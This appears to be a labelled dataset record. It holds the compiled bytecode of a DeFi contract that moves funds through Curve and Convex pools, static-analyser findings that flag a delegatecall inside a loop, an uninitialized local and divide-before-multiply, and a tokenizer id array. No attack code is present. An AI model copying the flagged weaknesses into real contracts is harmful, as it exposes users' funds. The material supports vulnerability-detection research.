02565b61103f565b34801561057057600080fd5b5061029761057f36600461391d565b6110bd565b34801561059057600080fd5b5061059961116c565b604080519283526020830191909152016102a1565b3480156105ba57600080fd5b506103176105c9366004613939565b611208565b3480156105da57600080fd5b506102ca7f00000000000000000000000002e2151d4f351881017abdf2dd2b51150841d5b381565b34801561060e57600080fd5b5061041861061d3660046138d2565b611253565b34801561062e57600080fd5b5061029761063d366004613863565b611291565b34801561064e57600080fd5b5061029761065d36600461391d565b6112d0565b34801561066e57600080fd5b5061029761130f565b34801561068357600080fd5b50610297610692366004613955565b61139f565b3480156106a357600080fd5b506102ca6106b23660046138b7565b6113dd565b6106ca6106c536600461397d565b611454565b6040516102a19190613a4e565b3480156106e357600080fd5b506102976106f2366004613ab0565b6115ab565b34801561070357600080fd5b5061029761071236600461391d565b61165d565b34801561072357600080fd5b5061029760055481565b34801561073957600080fd5b50610317610748366004613902565b61169c565b34801561075957600080fd5b50610317610768366004613939565b5050565b34801561077857600080fd5b5061029761078736600461391d565b61171a565b34801561079857600080fd5b506102976107a736600461389c565b6117c2565b3480156107b857600080fd5b506103176107c7366004613902565b6119b4565b3480156107d857600080fd5b506102976107e7366004613ab0565b611a32565b3480156107f857600080fd5b506102977f000000000000000000000000000000000000000000000000000000000000002481565b34801561082c57600080fd5b506102ca7f0000000000000000000000004e3fbd56cd56c3e72c1403e103b45db9da5b9d2b81565b34801561086057600080fd5b5061087461086f366004613ad2565b611a70565b604080519283529015156020830152016102a1565b34801561089557600080fd5b506103176108a436600461391d565b611edf565b3480156108b557600080fd5b506000546102ca9061010090046001600160a01b031681565b60006108d8611fe7565b6002546001600160a01b0316331461090c5760405163973d02cb60e01b815260040161090390613b0e565b60405180910390fd5b610916838361205c565b90506109206121e9565b92915050565b60008082600281111561093b5761093b613b34565b90506003811061098a576040516354a1577760e11b8152602060048201526019602482015278417373657420696e646578206f7574206f6620626f756e647360381b6044820152606401610903565b6007816003811061099d5761099d613b4a565b01546001600160a01b03169392505050565b6001546001600160a01b03166109fe5760405163c50656df60e01b815260206004820152601360248201527214195b991a5b99c818591b5a5b881d5b9cd95d606a1b6044820152606401610903565b6001546001600160a01b03163314610a4d5760405163973d02cb60e01b81526020600482015260116024820152702737ba103832b73234b7339030b236b4b760791b6044820152606401610903565b6001805460008054610100600160a81b0319166101006001600160a01b03808516820292909217928390556001600160a01b031990931690935560405191900490911681527f54e4612788f90384e6843298d7854436f3a585b2c3831ab66abf1de63bfa6c2d9060200160405180910390a1604051600081527fa728e84b447788a55ff664fbfb5c3983925f88b80b672a1b0b8271c94b22df359060200160405180910390a1565b600080610b01836113dd565b6040516370a0823160e01b81523060048201529091506001600160a01b038216906370a0823190602401602060405180830381865afa158015610b48573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6c9190613b60565b9392505050565b600080610b0183610926565b6002546001600160a01b03163314610baa5760405163973d02cb60e01b815260040161090390613b0e565b612710811115610bf5576040516354a1577760e11b8152602060048201526015602482015274536c697070616765206e6f7420696e2072616e676560581b6044820152606401610903565b60058190556040518181527f3579c05e37916c34ed62a19c1c6121d9d0f18354f1cc317f705700ddb1ba53ee906020015b60405180910390a150565b6000610c3b611fe7565b6002546001600160a01b03163314610c665760405163973d02cb60e01b815260040161090390613b0e565b7f00000000000000000000000002e2151d4f351881017abdf2dd2b51150841d5b36001600160a01b0316633d18b9126040518163ffffffff1660e01b81526004016020604051808303816000875af1158015610cc6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cea9190613b79565b6040516370a0823160e01b81523060048201529091506000906001600160a01b037f000000000000000000000000d533a949740bb3306d119cc777fa900ba034cd5216906370a0823190602401602060405180830381865afa158015610d54573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d789190613b60565b6040516370a0823160e01b81523060048201529091506000906001600160a01b037f0000000000000000000000004e3fbd56cd56c3e72c1403e103b45db9da5b9d2b16906370a0823190602401602060405180830381865afa158015610de2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e069190613b60565b600354909150610e41907f000000000000000000000000d533a949740bb3306d119cc777fa900ba034cd52906001600160a01b0316846121fc565b600354610e79907f0000000000000000000000004e3fbd56cd56c3e72c1403e103b45db9da5b9d2b906001600160a01b0316836121fc565b604080518415158152602081018490529081018290527f1ae950217358db2d7ba36e85e62f50f70697e390333aea8d481e5a8ce07aac3d9060600160405180910390a15050610ec66121e9565b90565b6000610ed3611fe7565b6002546001600160a01b03163314610efe5760405163973d02cb60e01b815260040161090390613b0e565b610f0782612304565b9050610f116121e9565b919050565b60005461010090046001600160a01b03163314610f465760405163973d02cb60e01b815260040161090390613b9b565b600180546001600160a01b0319166001600160a01b0383169081179091556040519081527fa728e84b447788a55ff664fbfb5c3983925f88b80b672a1b0b8271c94b22df3590602001610c26565b6002546001600160a01b03163314610fbf5760405163973d02cb60e01b815260040161090390613b0e565b61271081111561100a576040516354a1577760e11b8152602060048201526015602482015274536c697070616765206e6f7420696e2072616e676560581b6044820152606401610903565b60068190556040518181527f0f75d64b7a2af497eeb31639b1ee2e88f49e0e58b1eaee9d225e8f2d8553c17790602001610c26565b60005461010090046001600160a01b0316331461106f5760405163973d02cb60e01b815260040161090390613b9b565b600480546001600160a01b0319166001600160a01b0383169081179091556040519081527f59dea4585e1df1b7a22cafd3486f3c6080e7bd27c1450af2f11f192cb637658b90602001610c26565b60006110c7611fe7565b6002546001600160a01b031633146110f25760405163973d02cb60e01b815260040161090390613b0e565b6110fb82612498565b6111485760405163c50656df60e01b815260206004820152601b60248201527f57697468647261772066726f6d20636f6e766578206661696c656400000000006044820152606401610903565b6000611155600184612567565b90506111618482612712565b9150506109206121e9565b6040516246613160e11b815230600482015260009081906001600160a01b037f00000000000000000000000002e2151d4f351881017abdf2dd2b51150841d5b31690628cc26290602401602060405180830381865afa1580156111d3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111f79190613b60565b915061120282612a59565b90509091565b611210611fe7565b60005461010090046001600160a01b031633146112405760405163973d02cb60e01b815260040161090390613b9b565b61124b8233836121fc565b6107686121e9565b600061125d611fe7565b6002546001600160a01b031633146112885760405163973d02cb60e01b815260040161090390613b0e565b610f0782612498565b600061129b611fe7565b6002546001600160a01b031633146112c65760405163973d02cb60e01b815260040161090390613b0e565b6109168383612567565b60006112da611fe7565b6002546001600160a01b031633146113055760405163973d02cb60e01b815260040161090390613b0e565b6109168383612cdb565b6040516370a0823160e01b81523060048201526000907f00000000000000000000000043b4fdfd4ff969587185cdb6f0bd875c5fc83f8c6001600160a01b0316906370a0823190602401602060405180830381865afa158015611376573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061139a9190613b60565b905090565b60006113a9611fe7565b6002546001600160a01b031633146113d45760405163973d02cb60e01b815260040161090390613b0e565b610f078261301a565b6000808260018111156113f2576113f2613b34565b905060028110611441576040516354a1577760e11b8152602060048201526019602482015278417373657420696e646578206f7574206f6620626f756e647360381b6044820152606401610903565b600a816002811061099d5761099d613b4a565b60608167ffffffffffffffff81111561146f5761146f613bbe565b6040519080825280602002602001820160405280156114a257816020015b606081526020019060019003908161148d5790505b50905060005b828110156115a457600080308686858181106114c6576114c6613b4a565b90506020028101906114d89190613bd4565b6040516114e6929190613c22565b600060405180830381855af49150503d8060008114611521576040519150601f19603f3d011682016040523d82523d6000602084013e611526565b606091505b5091509150816115715785858481811061154257611542613b4a565b90506020028101906115549190613bd4565b8260405163070c497560e21b815260040161090393929190613c32565b8084848151811061158457611584613b4a565b60200260200101819052505050808061159c90613c90565b9150506114a8565b5092915050565b60006115b5611fe7565b6002546001600160a01b031633146115e05760405163973d02cb60e01b815260040161090390613b0e565b60006115eb836132e8565b905060006115fa60018361205c565b905061160581612304565b6116525760405163c50656df60e01b815260206004820152601a60248201527f4465706f73697420696e746f20636f6e766578206661696c65640000000000006044820152606401610903565b915050610f116121e9565b6000611667611fe7565b6002546001600160a01b031633146116925760405163973d02cb60e01b815260040161090390613b0e565b6109168383612712565b60005461010090046001600160a01b031633146116cc5760405163973d02cb60e01b815260040161090390613b9b565b600280546001600160a01b0319166001600160a01b0383169081179091556040519081527fb3b3f5f64ab192e4b5fefde1f51ce9733bbdcf831951543b325aebd49cc27ec490602001610c26565b6000611724611fe7565b6002546001600160a01b0316331461174f5760405163973d02cb60e01b815260040161090390613b0e565b600061175b8484612cdb565b9050600061176a60018361205c565b905061177581612304565b6111615760405163c50656df60e01b815260206004820152601a60248201527f4465706f73697420696e746f20636f6e766578206661696c65640000000000006044820152606401610903565b6000806117cf60006113dd565b905060007f00000000000000000000000043b4fdfd4ff969587185cdb6f0bd875c5fc83f8c6001600160a01b03166314f059796040518163ffffffff1660e01b81526004016040805180830381865afa158015611830573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118549190613ca9565b905060006001600160a01b037f00000000000000000000000043b4fdfd4ff969587185cdb6f0bd875c5fc83f8c16637e42fc0c826001611893876136ea565b61189e90600a613e1b565b866040518563ffffffff1660e01b81526004016118be9493929190613e4d565b602060405180830381865afa1580156118db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118ff9190613b60565b90507f000000000000000000000000bebc44782c7db0a1a60cb6fe97d0b483032ff1c76001600160a01b031663cc2b27d78287600281111561194357611943613b34565b6040516001600160e01b031960e085901b1681526004810192909252600f0b6024820152604401602060405180830381865afa158015611987573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119ab9190613b60565b95945050505050565b60005461010090046001600160a01b031633146119e45760405163973d02cb60e01b815260040161090390613b9b565b600380546001600160a01b0319166001600160a01b0383169081179091556040519081527f2bebe3801c306ffa893b76894d5baf1cef32807aa974f6449595a9c2392f617490602001610c26565b6000611a3c611fe7565b6002546001600160a01b03163314611a675760405163973d02cb60e01b815260040161090390613b0e565b610f07826132e8565b600080600080611a8060006113dd565b9050611a8b816136ea565b60ff1691505060007f00000000000000000000000043b4fdfd4ff969587185cdb6f0bd875c5fc83f8c6001600160a01b03166314f059796040518163ffffffff1660e01b81526004016040805180830381865afa158015611af0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b149190613ca9565b90506000604051806040016040528083600060028110611b3657611b36613b4a565b6020020151815260200183600160028110611b5357611b53613b4a565b60200201518152509050611b8f6040518060a0016040528060008152602001600081526020016000815260200160008152602001600081525090565b600081526bffffffffffffffffffffffff602082015260001960408201819052606082015282896001811115611bc757611bc7613b34565b60028110611bd757611bd7613b4a565b602002015160808201526000805b610100811015611e8c57600082600285600001518660200151611c089190613e74565b611c129190613e8c565b91508103611c205750611e8c565b80858d6001811115611c3457611c34613b34565b60028110611c4457611c44613b4a565b602002015260006001600160a01b037f00000000000000000000000043b4fdfd4ff969587185cdb6f0bd875c5fc83f8c16637e42fc0c826001611c888c600a613eae565b8a6040518563ffffffff1660e01b8152600401611ca89493929190613e4d565b602060405180830381865afa158015611cc5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ce99190613b60565b905060007f000000000000000000000000bebc44782c7db0a1a60cb6fe97d0b483032ff1c76001600160a01b031663cc2b27d7838f6002811115611d2f57611d2f613b34565b6040516001600160e01b031960e085901b1681526004810192909252600f0b6024820152604401602060405180830381865afa158015611d73573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d979190613b60565b90506000611da5828e6137c3565b90508660400151811015611dc6576040870181905260608701849052611e14565b86604001518103611e14576000611de18589608001516137c3565b90506000611df789606001518a608001516137c3565b9050818111611e0a578860600151611e0c565b855b60608a015250505b8c821115611e495760008f6001811115611e3057611e30613b34565b03611e3d57838752611e72565b60208701849052611e72565b60008f6001811115611e5d57611e5d613b34565b03611e6e5760208701849052611e72565b8387525b839550505050508080611e8490613c90565b915050611be5565b508160800151826060015111611eb75781606001518260800151611eb09190613eba565b6000611ece565b81608001518260600151611ecb9190613eba565b60015b965096505050505050935093915050565b611ee7611fe7565b60005461010090046001600160a01b03163314611f175760405163973d02cb60e01b815260040161090390613b9b565b6000611f2283610926565b600454909150611f3d9082906001600160a01b0316846121fc565b6004805460405163bc04f0af60e01b81526001600160a01b03848116938201939093526024810185905291169063bc04f0af90604401600060405180830381600087803b158015611f8d57600080fd5b505af1158015611fa1573d6000803e3d6000fd5b505050507ff098d3d1fd8b18083ef9f120eac6c615ccd6fecd64a0c02733d67565cb615bfb8383604051611fd6929190613ee5565b60405180910390a1506107686121e9565b600160005460ff16600281111561200057612000613b34565b146120455760405163c50656df60e01b8152602060048201526014602482015273131bd8dac8185b1c9958591e4818db185a5b595960621b6044820152606401610903565b600080546002919060ff19166001835b0217905550565b600080612068846113dd565b9050612072613818565b838186600181111561208657612086613b34565b6002811061209657612096613b4a565b6020020152600654600090612710906120af9087613f00565b6120b99190613e8c565b90506120e7837f00000000000000000000000043b4fdfd4ff969587185cdb6f0bd875c5fc83f8c60006137e5565b612112837f00000000000000000000000043b4fdfd4ff969587185cdb6f0bd875c5fc83f8c876137e5565b604051630b4c7e4d60e01b81526001600160a01b037f00000000000000000000000043b4fdfd4ff969587185cdb6f0bd875c5fc83f8c1690630b4c7e4d906121609085908590600401613f1f565b6020604051808303816000875af115801561217f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121a39190613b60565b93507f9138527697be6b50d0aa8fe0ccbba244d742c2477a875624affea814e56413738686866040516121d893929190613f3a565b60405180910390a150505092915050565b600080546001919060ff19168280612055565b6040516001600160a01b03838116602483015260448201839052600091829186169063a9059cbb60e01b906064015b60408051601f198184030181529181526020820180516001600160e01b03166001600160e01b03199094169390931790925290516122699190613f62565b6000604051808303816000865af19150503d80600081146122a6576040519150601f19603f3d011682016040523d82523d6000602084013e6122ab565b606091505b50915091508115806122d957508051158015906122d95750808060200190518101906122d79190613b79565b155b156122fd5784828260405163e7e40b5b60e01b815260040161090393929190613f7e565b5050505050565b60006123527f00000000000000000000000043b4fdfd4ff969587185cdb6f0bd875c5fc83f8c7f000000000000000000000000f403c135812408bfbe8713b5a23a04b3d48aae3160006137e5565b61239d7f00000000000000000000000043b4fdfd4ff969587185cdb6f0bd875c5fc83f8c7f000000000000000000000000f403c135812408bfbe8713b5a23a04b3d48aae31846137e5565b6040516321d0683360e11b81527f0000000000000000000000000000000000000000000000000000000000000024600482015260248101839052600160448201527f000000000000000000000000f403c135812408bfbe8713b5a23a04b3d48aae316001600160a01b0316906343a0d066906064016020604051808303816000875af1158015612431573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124559190613b79565b6040805184815282151560208201529192507f86a112658591e58b4c6b39b5f469b50e01ea594242685a09ca9c8c412c624cab91015b60405180910390a1919050565b604051636197390160e11b815260048101829052600060248201819052907f00000000000000000000000002e2151d4f351881017abdf2dd2b51150841d5b36001600160a01b03169063c32e7202906044016020604051808303816000875af1158015612509573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061252d9190613b79565b6040805184815282151560208201529192507f658f65627d5cf077504ad9882cf96580212e284f1d4a183a14e75d66b7bf2a2f910161248b565b60008083600181111561257c5761257c613b34565b90506000670de0b6b3a76400007f00000000000000000000000043b4fdfd4ff969587185cdb6f0bd875c5fc83f8c6001600160a01b031663bb7b8b806040518163ffffffff1660e01b8152600401602060405180830381865afa1580156125e7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061260b9190613b60565b6126159086613f00565b61261f9190613e8c565b90506000612710600654836126349190613f00565b61263e9190613e8c565b604051630d2680e960e11b815260048101879052600f85900b6024820152604481018290529091507f00000000000000000000000043b4fdfd4ff969587185cdb6f0bd875c5fc83f8c6001600160a01b031690631a4d01d2906064016020604051808303816000875af11580156126b9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126dd9190613b60565b93507f89864951db9c48e63fbcda0e6990fa874aa27dcfd1a0233d5b7f0191d8117dc68686866040516121d893929190613f3a565b60008061271e84610926565b9050600061272c60016113dd565b9050600085600281111561274257612742613b34565b9050600061274f836136ea565b60ff169050600061275f856136ea565b61276c9060ff1683613eba565b90506000612710600554896127819190613f00565b61278b9190613e8c565b90506000670de0b6b3a76400007f000000000000000000000000bebc44782c7db0a1a60cb6fe97d0b483032ff1c76001600160a01b031663bb7b8b806040518163ffffffff1660e01b8152600401602060405180830381865afa1580156127f6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061281a9190613b60565b6128249084613f00565b61282e9190613e8c565b9050600061283d84600a613eae565b6128479083613e8c565b6040516370a0823160e01b81523060048201529091506000906001600160a01b038a16906370a0823190602401602060405180830381865afa158015612891573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906128b59190613b60565b90506128e3887f000000000000000000000000bebc44782c7db0a1a60cb6fe97d0b483032ff1c760006137e5565b61290e887f000000000000000000000000bebc44782c7db0a1a60cb6fe97d0b483032ff1c78d6137e5565b604051630d2680e960e11b8152600481018c9052600f88900b6024820152604481018390527f000000000000000000000000bebc44782c7db0a1a60cb6fe97d0b483032ff1c76001600160a01b031690631a4d01d290606401600060405180830381600087803b15801561298157600080fd5b505af1158015612995573d6000803e3d6000fd5b50506040516370a0823160e01b81523060048201528392506001600160a01b038c1691506370a0823190602401602060405180830381865afa1580156129df573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612a039190613b60565b612a0d9190613eba565b99507fa366ba3546107520427c72cf675adb2ba548bb24886f5b9833464f32332cabef8c8c8c604051612a4293929190613faa565b60405180910390a150505050505050505092915050565b6000807f0000000000000000000000004e3fbd56cd56c3e72c1403e103b45db9da5b9d2b6001600160a01b03166318160ddd6040518163ffffffff1660e01b8152600401602060405180830381865afa158015612aba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612ade9190613b60565b905060007f0000000000000000000000004e3fbd56cd56c3e72c1403e103b45db9da5b9d2b6001600160a01b031663aa74e6226040518163ffffffff1660e01b8152600401602060405180830381865afa158015612b40573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612b649190613b60565b612b6e9083613e8c565b905060007f0000000000000000000000004e3fbd56cd56c3e72c1403e103b45db9da5b9d2b6001600160a01b0316631f96e76f6040518163ffffffff1660e01b8152600401602060405180830381865afa158015612bd0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612bf49190613b60565b9050808210612c0857506000949350505050565b6000612c148383613eba565b9050600082612c238389613f00565b612c2d9190613e8c565b90506000857f0000000000000000000000004e3fbd56cd56c3e72c1403e103b45db9da5b9d2b6001600160a01b031663d5abeb016040518163ffffffff1660e01b8152600401602060405180830381865afa158015612c90573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612cb49190613b60565b612cbe9190613eba565b9050808211612ccd5781612ccf565b805b98975050505050505050565b600080612ce784610926565b90506000612cf560016113dd565b90506000612d02826136ea565b60ff1690506000612d12846136ea565b612d1f9060ff1683613eba565b9050612d29613836565b8681896002811115612d3d57612d3d613b34565b60038110612d4d57612d4d613b4a565b60200201526000612d5f83600a613eae565b612d699089613f00565b905060007f000000000000000000000000bebc44782c7db0a1a60cb6fe97d0b483032ff1c76001600160a01b031663bb7b8b806040518163ffffffff1660e01b8152600401602060405180830381865afa158015612dcb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612def9190613b60565b612e01670de0b6b3a764000084613f00565b612e0b9190613e8c565b9050600061271060055483612e209190613f00565b612e2a9190613e8c565b6040516370a0823160e01b81523060048201529091506000906001600160a01b038916906370a0823190602401602060405180830381865afa158015612e74573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612e989190613b60565b9050612ec6897f000000000000000000000000bebc44782c7db0a1a60cb6fe97d0b483032ff1c760006137e5565b612ef1897f000000000000000000000000bebc44782c7db0a1a60cb6fe97d0b483032ff1c78d6137e5565b604051634515cef360e01b81526001600160a01b037f000000000000000000000000bebc44782c7db0a1a60cb6fe97d0b483032ff1c71690634515cef390612f3f9088908690600401613fc9565b600060405180830381600087803b158015612f5957600080fd5b505af1158015612f6d573d6000803e3d6000fd5b50506040516370a0823160e01b81523060048201528392506001600160a01b038b1691506370a0823190602401602060405180830381865afa158015612fb7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612fdb9190613b60565b612fe59190613eba565b99507ff5d6ae3de3585a8b95401e13ed589e21338613d11ebb7240db73c8efc7f1d0638c8c8c604051612a4293929190613faa565b6040805180820191829052600091829190600a9060029082845b81546001600160a01b0316815260019091019060200180831161303457505050505090506000805b60028110156131505784816002811061307757613077613b4a565b60200201351561313e5784816002811061309357613093613b4a565b6020020135826130a39190613e74565b91506130e78382600281106130ba576130ba613b4a565b60200201517f00000000000000000000000043b4fdfd4ff969587185cdb6f0bd875c5fc83f8c60006137e5565b61313e8382600281106130fc576130fc613b4a565b60200201517f00000000000000000000000043b4fdfd4ff969587185cdb6f0bd875c5fc83f8c87846002811061313457613134613b4a565b60200201356137e5565b8061314881613c90565b91505061305c565b5060007f00000000000000000000000043b4fdfd4ff969587185cdb6f0bd875c5fc83f8c6001600160a01b031663bb7b8b806040518163ffffffff1660e01b8152600401602060405180830381865afa1580156131b1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906131d59190613b60565b6131e7670de0b6b3a764000084613f00565b6131f19190613e8c565b90506000612710600654836132069190613f00565b6132109190613e8c565b604051630b4c7e4d60e01b81529091506001600160a01b037f00000000000000000000000043b4fdfd4ff969587185cdb6f0bd875c5fc83f8c1690630b4c7e4d906132619089908590600401614001565b6020604051808303816000875af1158015613280573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906132a49190613b60565b94507fc79e3936a14778ee778877366c7adf10cec6101c4658b0850d7249e21ffcad2486866040516132d7929190614001565b60405180910390a150505050919050565b60408051606081019182905260009182919060079060039082845b81546001600160a01b031681526001909101906020018083116133035750505050509050600061333360016113dd565b90506000613340826136ea565b60ff1690506000805b600381101561347e5786816003811061336457613364613b4a565b60200201351561346c57600061338f86836003811061338557613385613b4a565b60200201516136ea565b60ff16905060006133a08286613eba565b90506133ad81600a613eae565b8984600381106133bf576133bf613b4a565b60200201356133ce9190613f00565b6133d89085613e74565b935061341c8784600381106133ef576133ef613b4a565b60200201517f000000000000000000000000bebc44782c7db0a1a60cb6fe97d0b483032ff1c760006137e5565b61346987846003811061343157613431613b4a565b60200201517f000000000000000000000000bebc44782c7db0a1a60cb6fe97d0b483032ff1c78b866003811061313457613134613b4a565b50505b8061347681613c90565b915050613349565b5060007f000000000000000000000000bebc44782c7db0a1a60cb6fe97d0b483032ff1c76001600160a01b031663bb7b8b806040518163ffffffff1660e01b8152600401602060405180830381865afa1580156134df573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906135039190613b60565b613515670de0b6b3a764000084613f00565b61351f9190613e8c565b90506000612710600554836135349190613f00565b61353e9190613e8c565b6040516370a0823160e01b81523060048201529091506000906001600160a01b038716906370a0823190602401602060405180830381865afa158015613588573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906135ac9190613b60565b604051634515cef360e01b81529091506001600160a01b037f000000000000000000000000bebc44782c7db0a1a60cb6fe97d0b483032ff1c71690634515cef3906135fd908c908690600401614017565b600060405180830381600087803b15801561361757600080fd5b505af115801561362b573d6000803e3d6000fd5b50506040516370a0823160e01b81523060048201528392506001600160a01b03891691506370a0823190602401602060405180830381865afa158015613675573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906136999190613b60565b6136a39190613eba565b97507f3957d146926645d56204102a1e3f3ec9829ba87658839326c70d7970cedbdff089896040516136d6929190614017565b60405180910390a150505050505050919050565b60408051600481526024810182526020810180516001600160e01b031663313ce56760e01b1790529051600091829182916001600160a01b038616916137309190613f62565b600060405180830381855afa9150503d806000811461376b576040519150601f19603f3d011682016040523d82523d6000602084013e613770565b606091505b5091509150811580613783575060208151105b156137a75783828260405163e7e40b5b60e01b815260040161090393929190613f7e565b808060200190518101906137bb919061402d565b949350505050565b60008183116137db576137d68383613eba565b610b6c565b610b6c8284613eba565b6040516001600160a01b03838116602483015260448201839052600091829186169063095ea7b360e01b9060640161222b565b60405180604001604052806002906020820280368337509192915050565b60405180606001604052806003906020820280368337509192915050565b803560028110610f1157600080fd5b6000806040838503121561387657600080fd5b61387f83613854565b946020939093013593505050565b803560038110610f1157600080fd5b6000602082840312156138ae57600080fd5b610b6c8261388d565b6000602082840312156138c957600080fd5b610b6c82613854565b6000602082840312156138e457600080fd5b5035919050565b80356001600160a01b0381168114610f1157600080fd5b60006020828403121561391457600080fd5b610b6c826138eb565b6000806040838503121561393057600080fd5b61387f8361388d565b6000806040838503121561394c57600080fd5b61387f836138eb565b60006040828403121561396757600080fd5b8260408301111561397757600080fd5b50919050565b6000806020838503121561399057600080fd5b823567ffffffffffffffff808211156139a857600080fd5b818501915085601f8301126139bc57600080fd5b8135818111156139cb57600080fd5b8660208260051b85010111156139e057600080fd5b60209290920196919550909350505050565b60005b83811015613a0d5781810151838201526020016139f5565b83811115613a1c576000848401525b50505050565b60008151808452613a3a8160208601602086016139f2565b601f01601f19169290920160200192915050565b6000602080830181845280855180835260408601915060408160051b870101925083870160005b82811015613aa357603f19888603018452613a91858351613a22565b94509285019290850190600101613a75565b5092979650505050505050565b600060608284031215613ac257600080fd5b8260608301111561397757600080fd5b600080600060608486031215613ae757600080fd5b613af084613854565b9250613afe6020850161388d565b9150604084013590509250925092565b6020808252600c908201526b2737ba1037b832b930ba37b960a11b604082015260600190565b634e487b7160e01b600052602160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b600060208284031215613b7257600080fd5b5051919050565b600060208284031215613b8b57600080fd5b81518015158114610b6c57600080fd5b6020808252600990820152682737ba1030b236b4b760b91b604082015260600190565b634e487b7160e01b600052604160045260246000fd5b6000808335601e19843603018112613beb57600080fd5b83018035915067ffffffffffffffff821115613c0657600080fd5b602001915036819003821315613c1b57600080fd5b9250929050565b8183823760009101908152919050565b60408152826040820152828460608301376000606084830101526000601f19601f85011682016060838203016020840152613c706060820185613a22565b9695505050505050565b634e487b7160e01b600052601160045260246000fd5b600060018201613ca257613ca2613c7a565b5060010190565b600060408284031215613cbb57600080fd5b82601f830112613cca57600080fd5b6040516040810181811067ffffffffffffffff82111715613cfb57634e487b7160e01b600052604160045260246000fd5b8060405250806040840185811115613d1257600080fd5b845b81811015613d2c578051835260209283019201613d14565b509195945050505050565b600181815b80851115613d72578160001904821115613d5857613d58613c7a565b80851615613d6557918102915b93841c9390800290613d3c565b509250929050565b600082613d8957506001610920565b81613d9657506000610920565b8160018114613dac5760028114613db657613dd2565b6001915050610920565b60ff841115613dc757613dc7613c7a565b50506001821b610920565b5060208310610133831016604e8410600b8410161715613df5575081810a610920565b613dff8383613d37565b8060001904821115613e1357613e13613c7a565b029392505050565b6000610b6c60ff841683613d7a565b8060005b6002811015613a1c578151845260209384019390910190600101613e2e565b600f85810b825284900b60208201526040810183905260a081016119ab6060830184613e2a565b60008219821115613e8757613e87613c7a565b500190565b600082613ea957634e487b7160e01b600052601260045260246000fd5b500490565b6000610b6c8383613d7a565b600082821015613ecc57613ecc613c7a565b500390565b60038110613ee157613ee1613b34565b9052565b60408101613ef38285613ed1565b8260208301529392505050565b6000816000190483118215151615613f1a57613f1a613c7a565b500290565b60608101613f2d8285613e2a565b8260408301529392505050565b6060810160028510613f4e57613f4e613b34565b938152602081019290925260409091015290565b60008251613f748184602087016139f2565b9190910192915050565b6001600160a01b038416815282151560208201526060604082018190526000906119ab90830184613a22565b60608101613fb88286613ed1565b602082019390935260400152919050565b60808101818460005b6003811015613ff1578151835260209283019290910190600101613fd2565b5050508260608301529392505050565b6060810160408483378260408301529392505050565b6080810160608483378260608301529392505050565b60006020828403121561403f57600080fd5b815160ff81168114610b6c57600080fdfea26469706673582212201c4db18572b044e9784659c06ca51c1f24e41f841dcebb131a4703e7180e72b564736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "delegatecall-loop", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'delegatecall-loop', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 19481, 2546, 2581, 2094, 2509, 5243, 26976, 2497, 19961, 2549, 2497, 18827, 4246, 2094, 2581, 2549, 2278, 27814, 2063, 2683, 2497, 2094, 27531, 2278, 7011, 2094, 21486, 2497, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 2410, 1025, 1013, 1013, 2330, 4371, 27877, 2378, 8311, 1006, 2197, 7172, 1058, 2549, 1012, 1020, 1012, 1014, 1011, 22110, 1012, 1014, 1007, 1006, 19204, 1013, 9413, 2278, 11387, 1013, 29464, 11890, 11387, 1012, 14017, 1007, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 11387, 3115, 2004, 4225, 1999, 1996, 1041, 11514, 1012, 1008, 1013, 8278, 29464, 11890, 11387, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 22627, 2043, 102 ]
